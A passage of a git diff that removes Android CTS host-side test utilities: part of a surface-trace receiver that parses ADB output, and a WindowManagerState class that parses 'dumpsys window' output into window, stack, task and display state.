-        nextCmd(d);
-    }
-
-    void parseGeometryAppliesWithResize(DataInputStream d) throws IOException {
-        mObserver.setGeometryAppliesWithResize(mCurrentWindowName);
-        nextCmd(d);
-    }
-
-    public int indexAfterLastSigil(byte[] data, int offset, int length) {
-        int idx = offset + length - 1;
-        int sigilsNeeded = 4;
-        byte sigil = (byte)0xfc;
-        while (idx > offset) {
-            if (data[idx] == sigil) {
-                sigilsNeeded--;
-                if (sigilsNeeded == 0) {
-                    return idx+4;
-                }
-            } else {
-                sigilsNeeded = 4;
-            }
-            idx--;
-        }
-        return idx; // idx == offset at this point
-    }
-
-    // The tricky bit here is ADB may break up our words, and not send us complete messages,
-    // or even complete integers! To ensure we process the data in appropciate chunks,
-    // We look for a sigil (0xfcfcfcfc) and only process data when it ends in as igil.
-    // Otherwise we save it and wait to receive a sigil, then process the merged data.
-    public void addOutput(byte[] data, int offset, int length) {
-        byte[] combinedData = data;
-
-        // First we have to merge any unprocessed bytes from the last call in to
-        // a combined array.
-        if (mUnprocessedBytesLength > 0) {
-            System.arraycopy(mUnprocessedBytes, 0, mFullData, 0, mUnprocessedBytesLength);
-            System.arraycopy(data, offset, mFullData, mUnprocessedBytesLength, length);
-            combinedData = mFullData;
-            length = mUnprocessedBytesLength + length;
-            offset = 0;
-            mUnprocessedBytesLength = 0;
-        }
-
-        // Now we find the last sigil in our combined array. Everything before this index is
-        // a properly terminated message ready to be parsed.
-        int completedIndex = indexAfterLastSigil(combinedData, offset, length);
-        // If there are any bytes left after the last sigil, save them for next time.
-        if (completedIndex != length + offset) {
-            mUnprocessedBytesLength = (length+offset)-(completedIndex);
-            System.arraycopy(combinedData, completedIndex,
-                    mUnprocessedBytes, 0, mUnprocessedBytesLength);
-        }
-        //  If there was no sigil, we have nothing to process yet.
-        if (completedIndex <= offset) {
-            return;
-        }
-        ByteArrayInputStream b = new ByteArrayInputStream(combinedData, offset, completedIndex - offset);
-        DataInputStream d = new DataInputStream(b);
-
-        // We may not receive an entire message at once (for example we may receive
-        // a command without its arguments), so we track our current state, over multiple
-        // addOutput calls. When we are in State.CMD it means we next expect a new command.
-        // If we are not expecting a command, then all commands with arguments, begin with
-        // a window name. Once we have the window name, individual parseAlpha,
-        // parseLayer, etc...statements will parse command arguments one at a time. Once
-        // the appropriate number of arguments is collected the observer will be invoked
-        // and the state reset. For commands which have no arguments (e.g. open/close transaction),
-        // parseCmd can emit the observer event and call nextCmd() right away.
-        try {
-            while (b.available() > 0) {
-                if (mState != State.CMD && mCurrentWindowName == null) {
-                    mCurrentWindowName = d.readUTF();
-                    if (b.available() == 0) {
-                        return;
-                    }
-                }
-                switch (mState) {
-                case CMD: {
-                    String cmd = d.readUTF();
-                    parseCmd(d, cmd);
-                    break;
-                }
-                case SET_ALPHA: {
-                    parseAlpha(d);
-                    break;
-                }
-                case SET_LAYER: {
-                    parseLayer(d);
-                    break;
-                }
-                case SET_POSITION: {
-                    parsePosition(d);
-                    break;
-                }
-                case SET_SIZE: {
-                    parseSize(d);
-                    break;
-                }
-                case SET_CROP: {
-                    parseCrop(d);
-                    break;
-                }
-                case SET_FINAL_CROP: {
-                    parseFinalCrop(d);
-                    break;
-                }
-                case SET_LAYER_STACK: {
-                    parseLayerStack(d);
-                    break;
-                }
-                case SET_MATRIX: {
-                    parseSetMatrix(d);
-                    break;
-                }
-                case HIDE: {
-                    parseHide(d);
-                    break;
-                }
-                case SHOW: {
-                    parseShow(d);
-                    break;
-                }
-                case GEOMETRY_APPLIES_WITH_RESIZE: {
-                    parseGeometryAppliesWithResize(d);
-                    break;
-                }
-                }
-            }
-        } catch (Exception e) {
-            logE("Error in surface trace receiver: " + e.toString());
-        }
-    }
-
-    void parseCmd(DataInputStream d, String cmd) {
-        switch (cmd) {
-        case "Alpha":
-            mState = State.SET_ALPHA;
-            break;
-        case "Layer":
-            mState = State.SET_LAYER;
-            break;
-        case "Position":
-            mState = State.SET_POSITION;
-            break;
-        case "Size":
-            mState = State.SET_SIZE;
-            break;
-        case "Crop":
-            mState = State.SET_CROP;
-            break;
-        case "FinalCrop":
-            mState = State.SET_FINAL_CROP;
-            break;
-        case "LayerStack":
-            mState = State.SET_LAYER_STACK;
-            break;
-        case "Matrix":
-            mState = State.SET_MATRIX;
-            break;
-        case "Hide":
-            mState = State.HIDE;
-            break;
-        case "Show":
-            mState = State.SHOW;
-            break;
-        case "GeometryAppliesWithResize":
-            mState = State.GEOMETRY_APPLIES_WITH_RESIZE;
-            break;
-        case "OpenTransaction":
-            mObserver.openTransaction();
-            nextCmd(d);
-            break;
-        case "CloseTransaction":
-            mObserver.closeTransaction();
-            nextCmd(d);
-            break;
-        default:
-            Assert.fail("Unexpected surface command: " + cmd);
-            break;
-        }
-    }
-
-    @Override
-    public void flush() {
-    }
-
-    void cancel() {
-        mCancelled = true;
-    }
-
-    @Override
-    public boolean isCancelled() {
-        return mCancelled;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java
deleted file mode 100644
index c112a14..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java
+++ /dev/null
@@ -1,1152 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-import java.awt.*;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class WindowManagerState {
-
-    public static final String TRANSIT_ACTIVITY_OPEN = "TRANSIT_ACTIVITY_OPEN";
-    public static final String TRANSIT_ACTIVITY_CLOSE = "TRANSIT_ACTIVITY_CLOSE";
-    public static final String TRANSIT_TASK_OPEN = "TRANSIT_TASK_OPEN";
-    public static final String TRANSIT_TASK_CLOSE = "TRANSIT_TASK_CLOSE";
-
-    public static final String TRANSIT_WALLPAPER_OPEN = "TRANSIT_WALLPAPER_OPEN";
-    public static final String TRANSIT_WALLPAPER_CLOSE = "TRANSIT_WALLPAPER_CLOSE";
-    public static final String TRANSIT_WALLPAPER_INTRA_OPEN = "TRANSIT_WALLPAPER_INTRA_OPEN";
-    public static final String TRANSIT_WALLPAPER_INTRA_CLOSE = "TRANSIT_WALLPAPER_INTRA_CLOSE";
-
-    public static final String TRANSIT_KEYGUARD_GOING_AWAY = "TRANSIT_KEYGUARD_GOING_AWAY";
-    public static final String TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER =
-            "TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER";
-    public static final String TRANSIT_KEYGUARD_OCCLUDE = "TRANSIT_KEYGUARD_OCCLUDE";
-    public static final String TRANSIT_KEYGUARD_UNOCCLUDE = "TRANSIT_KEYGUARD_UNOCCLUDE";
-
-    public static final String APP_STATE_IDLE = "APP_STATE_IDLE";
-
-    private static final String DUMPSYS_WINDOW = "dumpsys window -a";
-
-    private static final Pattern sWindowPattern =
-            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+)\\}\\:");
-    private static final Pattern sStartingWindowPattern =
-            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) Starting (.+)\\}\\:");
-    private static final Pattern sExitingWindowPattern =
-            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+) EXITING\\}\\:");
-    private static final Pattern sDebuggerWindowPattern =
-            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) Waiting For Debugger: (.+)\\}\\:");
-
-    private static final Pattern sFocusedWindowPattern = Pattern.compile(
-            "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) (\\S+)\\}");
-    private static final Pattern sAppErrorFocusedWindowPattern = Pattern.compile(
-            "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Application Error\\: (\\S+)\\}");
-    private static final Pattern sWaitingForDebuggerFocusedWindowPattern = Pattern.compile(
-            "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Waiting For Debugger\\: (\\S+)\\}");
-
-    private static final Pattern sFocusedAppPattern =
-            Pattern.compile("mFocusedApp=AppWindowToken\\{(.+) token=Token\\{(.+) "
-                    + "ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)");
-    private static final Pattern sStableBoundsPattern = Pattern.compile(
-            "mStable=\\((\\d+),(\\d+)\\)-\\((\\d+),(\\d+)\\)");
-    private static final Pattern sDefaultPinnedStackBoundsPattern = Pattern.compile(
-            "defaultBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
-    private static final Pattern sPinnedStackMovementBoundsPattern = Pattern.compile(
-            "movementBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
-    private static final Pattern sRotationPattern = Pattern.compile(
-            "mRotation=(\\d).*");
-    private static final Pattern sLastOrientationPattern = Pattern.compile(
-            ".*mLastOrientation=(\\d)");
-
-    private static final Pattern sLastAppTransitionPattern =
-            Pattern.compile("mLastUsedAppTransition=(.+)");
-    private static final Pattern sAppTransitionStatePattern =
-            Pattern.compile("mAppTransitionState=(.+)");
-
-    private static final Pattern sStackIdPattern = Pattern.compile("mStackId=(\\d+)");
-
-    private static final Pattern sInputMethodWindowPattern =
-            Pattern.compile("mInputMethodWindow=Window\\{([0-9a-fA-F]+) u\\d+ .+\\}.*");
-
-    private static final Pattern sDisplayIdPattern =
-            Pattern.compile("Display: mDisplayId=(\\d+)");
-
-    private static final Pattern sDisplayFrozenPattern =
-            Pattern.compile("mDisplayFrozen=([a-z]*) .*");
-
-    private static final Pattern sDockedStackMinimizedPattern =
-            Pattern.compile("mMinimizedDock=([a-z]*)");
-
-    private static final Pattern[] sExtractStackExitPatterns = {
-            sStackIdPattern, sWindowPattern, sStartingWindowPattern, sExitingWindowPattern,
-            sDebuggerWindowPattern, sFocusedWindowPattern, sAppErrorFocusedWindowPattern,
-            sWaitingForDebuggerFocusedWindowPattern,
-            sFocusedAppPattern, sLastAppTransitionPattern, sDefaultPinnedStackBoundsPattern,
-            sPinnedStackMovementBoundsPattern, sDisplayIdPattern, sDockedStackMinimizedPattern};
-
-    // Windows in z-order with the top most at the front of the list.
-    private List<WindowState> mWindowStates = new ArrayList();
-    // Stacks in z-order with the top most at the front of the list, starting with primary display.
-    private final List<WindowStack> mStacks = new ArrayList();
-    // Stacks on all attached displays, in z-order with the top most at the front of the list.
-    private final Map<Integer, List<WindowStack>> mDisplayStacks
-            = new HashMap<>();
-    private List<Display> mDisplays = new ArrayList();
-    private String mFocusedWindow = null;
-    private String mFocusedApp = null;
-    private String mLastTransition = null;
-    private String mAppTransitionState = null;
-    private String mInputMethodWindowAppToken = null;
-    private Rectangle mStableBounds = new Rectangle();
-    private final Rectangle mDefaultPinnedStackBounds = new Rectangle();
-    private final Rectangle mPinnedStackMovementBounds = new Rectangle();
-    private final LinkedList<String> mSysDump = new LinkedList();
-    private int mRotation;
-    private int mLastOrientation;
-    private boolean mDisplayFrozen;
-    private boolean mIsDockedStackMinimized;
-
-    void computeState(ITestDevice device) throws DeviceNotAvailableException {
-        // It is possible the system is in the middle of transition to the right state when we get
-        // the dump. We try a few times to get the information we need before giving up.
-        int retriesLeft = 3;
-        boolean retry = false;
-        String dump = null;
-
-        log("==============================");
-        log("      WindowManagerState      ");
-        log("==============================");
-        do {
-            if (retry) {
-                log("***Incomplete WM state. Retrying...");
-                // Wait half a second between retries for window manager to finish transitioning...
-                try {
-                    Thread.sleep(500);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            }
-
-            final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-            device.executeShellCommand(DUMPSYS_WINDOW, outputReceiver);
-            dump = outputReceiver.getOutput();
-            parseSysDump(dump);
-
-            retry = mWindowStates.isEmpty() || mFocusedApp == null;
-        } while (retry && retriesLeft-- > 0);
-
-        if (retry) {
-            log(dump);
-        }
-
-        if (mWindowStates.isEmpty()) {
-            logE("No Windows found...");
-        }
-        if (mFocusedWindow == null) {
-            logE("No Focused Window...");
-        }
-        if (mFocusedApp == null) {
-            logE("No Focused App...");
-        }
-    }
-
-    private void parseSysDump(String sysDump) {
-        reset();
-
-        Collections.addAll(mSysDump, sysDump.split("\\n"));
-
-        int currentDisplayId = DEFAULT_DISPLAY_ID;
-        while (!mSysDump.isEmpty()) {
-            final Display display =
-                    Display.create(mSysDump, sExtractStackExitPatterns);
-            if (display != null) {
-                log(display.toString());
-                mDisplays.add(display);
-                currentDisplayId = display.mDisplayId;
-                mDisplayStacks.put(currentDisplayId, new ArrayList<>());
-                continue;
-            }
-
-            final WindowStack stack =
-                    WindowStack.create(mSysDump, sStackIdPattern, sExtractStackExitPatterns);
-
-            if (stack != null) {
-                mStacks.add(stack);
-                mDisplayStacks.get(currentDisplayId).add(stack);
-                continue;
-            }
-
-
-            final WindowState ws = WindowState.create(mSysDump, sExtractStackExitPatterns);
-            if (ws != null) {
-                log(ws.toString());
-
-                // Check to see if we are in the middle of transitioning. If we are, we want to
-                // skip dumping until window manager is done transitioning windows.
-                if (ws.isStartingWindow()) {
-                    log("Skipping dump due to starting window transition...");
-                    return;
-                }
-
-                if (ws.isExitingWindow()) {
-                    log("Skipping dump due to exiting window transition...");
-                    return;
-                }
-
-                mWindowStates.add(ws);
-                continue;
-            }
-
-            final String line = mSysDump.pop().trim();
-
-            Matcher matcher = sFocusedWindowPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String focusedWindow = matcher.group(3);
-                log(focusedWindow);
-                mFocusedWindow = focusedWindow;
-                continue;
-            }
-
-            matcher = sAppErrorFocusedWindowPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String focusedWindow = matcher.group(3);
-                log(focusedWindow);
-                mFocusedWindow = focusedWindow;
-                continue;
-            }
-
-            matcher = sWaitingForDebuggerFocusedWindowPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String focusedWindow = matcher.group(3);
-                log(focusedWindow);
-                mFocusedWindow = focusedWindow;
-                continue;
-            }
-
-            matcher = sFocusedAppPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String focusedApp = matcher.group(5);
-                log(focusedApp);
-                mFocusedApp = focusedApp;
-                continue;
-            }
-
-            matcher = sAppTransitionStatePattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String appTransitionState = matcher.group(1);
-                log(appTransitionState);
-                mAppTransitionState = appTransitionState;
-                continue;
-            }
-
-            matcher = sLastAppTransitionPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String lastAppTransitionPattern = matcher.group(1);
-                log(lastAppTransitionPattern);
-                mLastTransition = lastAppTransitionPattern;
-                continue;
-            }
-
-            matcher = sStableBoundsPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                int left = Integer.parseInt(matcher.group(1));
-                int top = Integer.parseInt(matcher.group(2));
-                int right = Integer.parseInt(matcher.group(3));
-                int bottom = Integer.parseInt(matcher.group(4));
-                mStableBounds.setBounds(left, top, right - left, bottom - top);
-                log(mStableBounds.toString());
-                continue;
-            }
-
-            matcher = sDefaultPinnedStackBoundsPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                int left = Integer.parseInt(matcher.group(1));
-                int top = Integer.parseInt(matcher.group(2));
-                int right = Integer.parseInt(matcher.group(3));
-                int bottom = Integer.parseInt(matcher.group(4));
-                mDefaultPinnedStackBounds.setBounds(left, top, right - left, bottom - top);
-                log(mDefaultPinnedStackBounds.toString());
-                continue;
-            }
-
-            matcher = sPinnedStackMovementBoundsPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                int left = Integer.parseInt(matcher.group(1));
-                int top = Integer.parseInt(matcher.group(2));
-                int right = Integer.parseInt(matcher.group(3));
-                int bottom = Integer.parseInt(matcher.group(4));
-                mPinnedStackMovementBounds.setBounds(left, top, right - left, bottom - top);
-                log(mPinnedStackMovementBounds.toString());
-                continue;
-            }
-
-            matcher = sInputMethodWindowPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                mInputMethodWindowAppToken = matcher.group(1);
-                log(mInputMethodWindowAppToken);
-                continue;
-            }
-
-            matcher = sRotationPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                mRotation = Integer.parseInt(matcher.group(1));
-                continue;
-            }
-
-            matcher = sLastOrientationPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                mLastOrientation = Integer.parseInt(matcher.group(1));
-                continue;
-            }
-
-            matcher = sDisplayFrozenPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                mDisplayFrozen = Boolean.parseBoolean(matcher.group(1));
-                continue;
-            }
-
-            matcher = sDockedStackMinimizedPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                mIsDockedStackMinimized = Boolean.parseBoolean(matcher.group(1));
-                continue;
-            }
-        }
-    }
-
-    void getMatchingWindowTokens(final String windowName, List<String> tokenList) {
-        tokenList.clear();
-
-        for (WindowState ws : mWindowStates) {
-            if (windowName.equals(ws.getName())) {
-                tokenList.add(ws.getToken());
-            }
-        }
-    }
-
-    void getMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
-        windowList.clear();
-        for (WindowState ws : mWindowStates) {
-            if (ws.isShown() && windowName.equals(ws.getName())) {
-                windowList.add(ws);
-            }
-        }
-    }
-
-    void getPrefixMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
-        windowList.clear();
-        for (WindowState ws : mWindowStates) {
-            if (ws.isShown() && ws.getName().startsWith(windowName)) {
-                windowList.add(ws);
-            }
-        }
-    }
-
-    WindowState getWindowByPackageName(String packageName, int windowType) {
-        for (WindowState ws : mWindowStates) {
-            final String name = ws.getName();
-            if (name == null || !name.contains(packageName)) {
-                continue;
-            }
-            if (windowType != ws.getType()) {
-                continue;
-            }
-            return ws;
-        }
-
-        return null;
-    }
-
-    void getWindowsByPackageName(String packageName, List<Integer> restrictToTypeList,
-            List<WindowState> outWindowList) {
-        outWindowList.clear();
-        for (WindowState ws : mWindowStates) {
-            final String name = ws.getName();
-            if (name == null || !name.contains(packageName)) {
-                continue;
-            }
-            if (restrictToTypeList != null && !restrictToTypeList.contains(ws.getType())) {
-                continue;
-            }
-            outWindowList.add(ws);
-        }
-    }
-
-    void sortWindowsByLayer(List<WindowState> windows) {
-        windows.sort(Comparator.comparingInt(WindowState::getLayer));
-    }
-
-    WindowState getWindowStateForAppToken(String appToken) {
-        for (WindowState ws : mWindowStates) {
-            if (ws.getToken().equals(appToken)) {
-                return ws;
-            }
-        }
-        return null;
-    }
-
-    Display getDisplay(int displayId) {
-        for (Display display : mDisplays) {
-            if (displayId == display.getDisplayId()) {
-                return display;
-            }
-        }
-        return null;
-    }
-
-    String getFrontWindow() {
-        if (mWindowStates == null || mWindowStates.isEmpty()) {
-            return null;
-        }
-        return mWindowStates.get(0).getName();
-    }
-
-    String getFocusedWindow() {
-        return mFocusedWindow;
-    }
-
-    String getFocusedApp() {
-        return mFocusedApp;
-    }
-
-    String getLastTransition() {
-        return mLastTransition;
-    }
-
-    String getAppTransitionState() {
-        return mAppTransitionState;
-    }
-
-    int getFrontStackId(int displayId) {
-        return mDisplayStacks.get(displayId).get(0).mStackId;
-    }
-
-    public int getRotation() {
-        return mRotation;
-    }
-
-    int getLastOrientation() {
-        return mLastOrientation;
-    }
-
-    boolean containsStack(int stackId) {
-        for (WindowStack stack : mStacks) {
-            if (stackId == stack.mStackId) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    /** Check if there exists a window record with matching windowName. */
-    boolean containsWindow(String windowName) {
-        for (WindowState window : mWindowStates) {
-            if (window.getName().equals(windowName)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    /** Check if at least one window which matches provided window name is visible. */
-    boolean isWindowVisible(String windowName) {
-        for (WindowState window : mWindowStates) {
-            if (window.getName().equals(windowName)) {
-                if (window.isShown()) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    boolean allWindowsVisible(String windowName) {
-        boolean allVisible = false;
-        for (WindowState window : mWindowStates) {
-            if (window.getName().equals(windowName)) {
-                if (!window.isShown()) {
-                    log("[VISIBLE] not visible" + windowName);
-                    return false;
-                }
-                log("[VISIBLE] visible" + windowName);
-                allVisible = true;
-            }
-        }
-        return allVisible;
-    }
-
-    WindowStack getStack(int stackId) {
-        for (WindowStack stack : mStacks) {
-            if (stackId == stack.mStackId) {
-                return stack;
-            }
-        }
-        return null;
-    }
-
-
-    int getStackPosition(int stackId) {
-        for (Integer displayId : mDisplayStacks.keySet()) {
-            List<WindowStack> stacks = mDisplayStacks.get(displayId);
-            for (int i = 0; i < stacks.size(); i++) {
-                if (stackId == stacks.get(i).mStackId) {
-                    return i;
-                }
-            }
-        }
-        return -1;
-    }
-
-    WindowState getInputMethodWindowState() {
-        return getWindowStateForAppToken(mInputMethodWindowAppToken);
-    }
-
-    Rectangle getStableBounds() {
-        return mStableBounds;
-    }
-
-    Rectangle getDefaultPinnedStackBounds() {
-        return mDefaultPinnedStackBounds;
-    }
-
-    Rectangle getPinnedStackMomentBounds() {
-        return mPinnedStackMovementBounds;
-    }
-
-    WindowState findFirstWindowWithType(int type) {
-        for (WindowState window : mWindowStates) {
-            if (window.getType() == type) {
-                return window;
-            }
-        }
-        return null;
-    }
-
-    public boolean isDisplayFrozen() {
-        return mDisplayFrozen;
-    }
-
-    public boolean isDockedStackMinimized() {
-        return mIsDockedStackMinimized;
-    }
-
-    private void reset() {
-        mSysDump.clear();
-        mStacks.clear();
-        mDisplays.clear();
-        mWindowStates.clear();
-        mFocusedWindow = null;
-        mFocusedApp = null;
-        mInputMethodWindowAppToken = null;
-    }
-
-    static class WindowStack extends WindowContainer {
-
-        private static final Pattern sTaskIdPattern = Pattern.compile("taskId=(\\d+)");
-        private static final Pattern sWindowAnimationBackgroundSurfacePattern =
-                Pattern.compile("mWindowAnimationBackgroundSurface:");
-
-        int mStackId;
-        ArrayList<WindowTask> mTasks = new ArrayList();
-        boolean mWindowAnimationBackgroundSurfaceShowing;
-
-        private WindowStack() {
-
-        }
-
-        static WindowStack create(
-                LinkedList<String> dump, Pattern stackIdPattern, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = stackIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not a stack.
-                return null;
-            }
-            // For the stack Id line we just read.
-            dump.pop();
-
-            final WindowStack stack = new WindowStack();
-            log(line);
-            final String stackId = matcher.group(1);
-            log(stackId);
-            stack.mStackId = Integer.parseInt(stackId);
-            stack.extract(dump, exitPatterns);
-            return stack;
-        }
-
-        void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
-            final List<Pattern> taskExitPatterns = new ArrayList();
-            Collections.addAll(taskExitPatterns, exitPatterns);
-            taskExitPatterns.add(sTaskIdPattern);
-            taskExitPatterns.add(sWindowAnimationBackgroundSurfacePattern);
-            final Pattern[] taskExitPatternsArray =
-                    taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
-
-            while (!doneExtracting(dump, exitPatterns)) {
-                final WindowTask task =
-                        WindowTask.create(dump, sTaskIdPattern, taskExitPatternsArray);
-
-                if (task != null) {
-                    mTasks.add(task);
-                    continue;
-                }
-
-                final String line = dump.pop().trim();
-
-                if (extractFullscreen(line)) {
-                    continue;
-                }
-
-                if (extractBounds(line)) {
-                    continue;
-                }
-
-                if (extractWindowAnimationBackgroundSurface(line)) {
-                    continue;
-                }
-            }
-        }
-
-        boolean extractWindowAnimationBackgroundSurface(String line) {
-            if (sWindowAnimationBackgroundSurfacePattern.matcher(line).matches()) {
-                log(line);
-                mWindowAnimationBackgroundSurfaceShowing = true;
-                return true;
-            }
-            return false;
-        }
-
-        WindowTask getTask(int taskId) {
-            for (WindowTask task : mTasks) {
-                if (taskId == task.mTaskId) {
-                    return task;
-                }
-            }
-            return null;
-        }
-
-        boolean isWindowAnimationBackgroundSurfaceShowing() {
-            return mWindowAnimationBackgroundSurfaceShowing;
-        }
-    }
-
-    static class WindowTask extends WindowContainer {
-        private static final Pattern sTempInsetBoundsPattern =
-                Pattern.compile("mTempInsetBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
-
-        private static final Pattern sAppTokenPattern = Pattern.compile(
-                "Activity #(\\d+) AppWindowToken\\{(\\S+) token=Token\\{(\\S+) "
-                + "ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}\\}\\}");
-
-
-        int mTaskId;
-        Rectangle mTempInsetBounds;
-        List<String> mAppTokens = new ArrayList();
-
-        private WindowTask() {
-        }
-
-        static WindowTask create(
-                LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = taskIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not a task.
-                return null;
-            }
-            // For the task Id line we just read.
-            dump.pop();
-
-            final WindowTask task = new WindowTask();
-            log(line);
-            final String taskId = matcher.group(1);
-            log(taskId);
-            task.mTaskId = Integer.parseInt(taskId);
-            task.extract(dump, exitPatterns);
-            return task;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-            while (!doneExtracting(dump, exitPatterns)) {
-                final String line = dump.pop().trim();
-
-                if (extractFullscreen(line)) {
-                    continue;
-                }
-
-                if (extractBounds(line)) {
-                    continue;
-                }
-
-                Matcher matcher = sTempInsetBoundsPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mTempInsetBounds = extractBounds(matcher);
-                }
-
-                matcher = sAppTokenPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String appToken = matcher.group(6);
-                    log(appToken);
-                    mAppTokens.add(appToken);
-                    continue;
-                }
-            }
-        }
-    }
-
-    static abstract class WindowContainer {
-        protected static final Pattern sFullscreenPattern = Pattern.compile("mFillsParent=(\\S+)");
-        protected static final Pattern sBoundsPattern =
-                Pattern.compile("mBounds=\\[(-?\\d+),(-?\\d+)\\]\\[(-?\\d+),(-?\\d+)\\]");
-
-        protected boolean mFullscreen;
-        protected Rectangle mBounds;
-
-        static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
-            if (dump.isEmpty()) {
-                return true;
-            }
-            final String line = dump.peek().trim();
-
-            for (Pattern pattern : exitPatterns) {
-                if (pattern.matcher(line).matches()) {
-                    return true;
-                }
-            }
-            return false;
-        }
-
-        boolean extractFullscreen(String line) {
-            final Matcher matcher = sFullscreenPattern.matcher(line);
-            if (!matcher.matches()) {
-                return false;
-            }
-            log(line);
-            final String fullscreen = matcher.group(1);
-            log(fullscreen);
-            mFullscreen = Boolean.valueOf(fullscreen);
-            return true;
-        }
-
-        boolean extractBounds(String line) {
-            final Matcher matcher = sBoundsPattern.matcher(line);
-            if (!matcher.matches()) {
-                return false;
-            }
-            log(line);
-            mBounds = extractBounds(matcher);
-            return true;
-        }
-
-        static Rectangle extractBounds(Matcher matcher) {
-            final int left = Integer.valueOf(matcher.group(1));
-            final int top = Integer.valueOf(matcher.group(2));
-            final int right = Integer.valueOf(matcher.group(3));
-            final int bottom = Integer.valueOf(matcher.group(4));
-            final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
-
-            log(rect.toString());
-            return rect;
-        }
-
-        static void extractMultipleBounds(Matcher matcher, int groupIndex, Rectangle... rectList) {
-            for (Rectangle rect : rectList) {
-                if (rect == null) {
-                    return;
-                }
-                final int left = Integer.valueOf(matcher.group(groupIndex++));
-                final int top = Integer.valueOf(matcher.group(groupIndex++));
-                final int right = Integer.valueOf(matcher.group(groupIndex++));
-                final int bottom = Integer.valueOf(matcher.group(groupIndex++));
-                rect.setBounds(left, top, right - left, bottom - top);
-            }
-        }
-
-        Rectangle getBounds() {
-            return mBounds;
-        }
-
-        boolean isFullscreen() {
-            return mFullscreen;
-        }
-    }
-
-    static class Display extends WindowContainer {
-        private static final String TAG = "[Display] ";
-
-        private static final Pattern sDisplayInfoPattern =
-                Pattern.compile("(.+) (\\d+)dpi cur=(\\d+)x(\\d+) app=(\\d+)x(\\d+) (.+)");
-
-        private final int mDisplayId;
-        private Rectangle mDisplayRect = new Rectangle();
-        private Rectangle mAppRect = new Rectangle();
-        private int mDpi;
-
-        private Display(int displayId) {
-            mDisplayId = displayId;
-        }
-
-        int getDisplayId() {
-            return mDisplayId;
-        }
-
-        int getDpi() {
-            return mDpi;
-        }
-
-        Rectangle getDisplayRect() {
-            return mDisplayRect;
-        }
-
-        Rectangle getAppRect() {
-            return mAppRect;
-        }
-
-        static Display create(LinkedList<String> dump, Pattern[] exitPatterns) {
-            // TODO: exit pattern for displays?
-            final String line = dump.peek().trim();
-
-            Matcher matcher = sDisplayIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                return null;
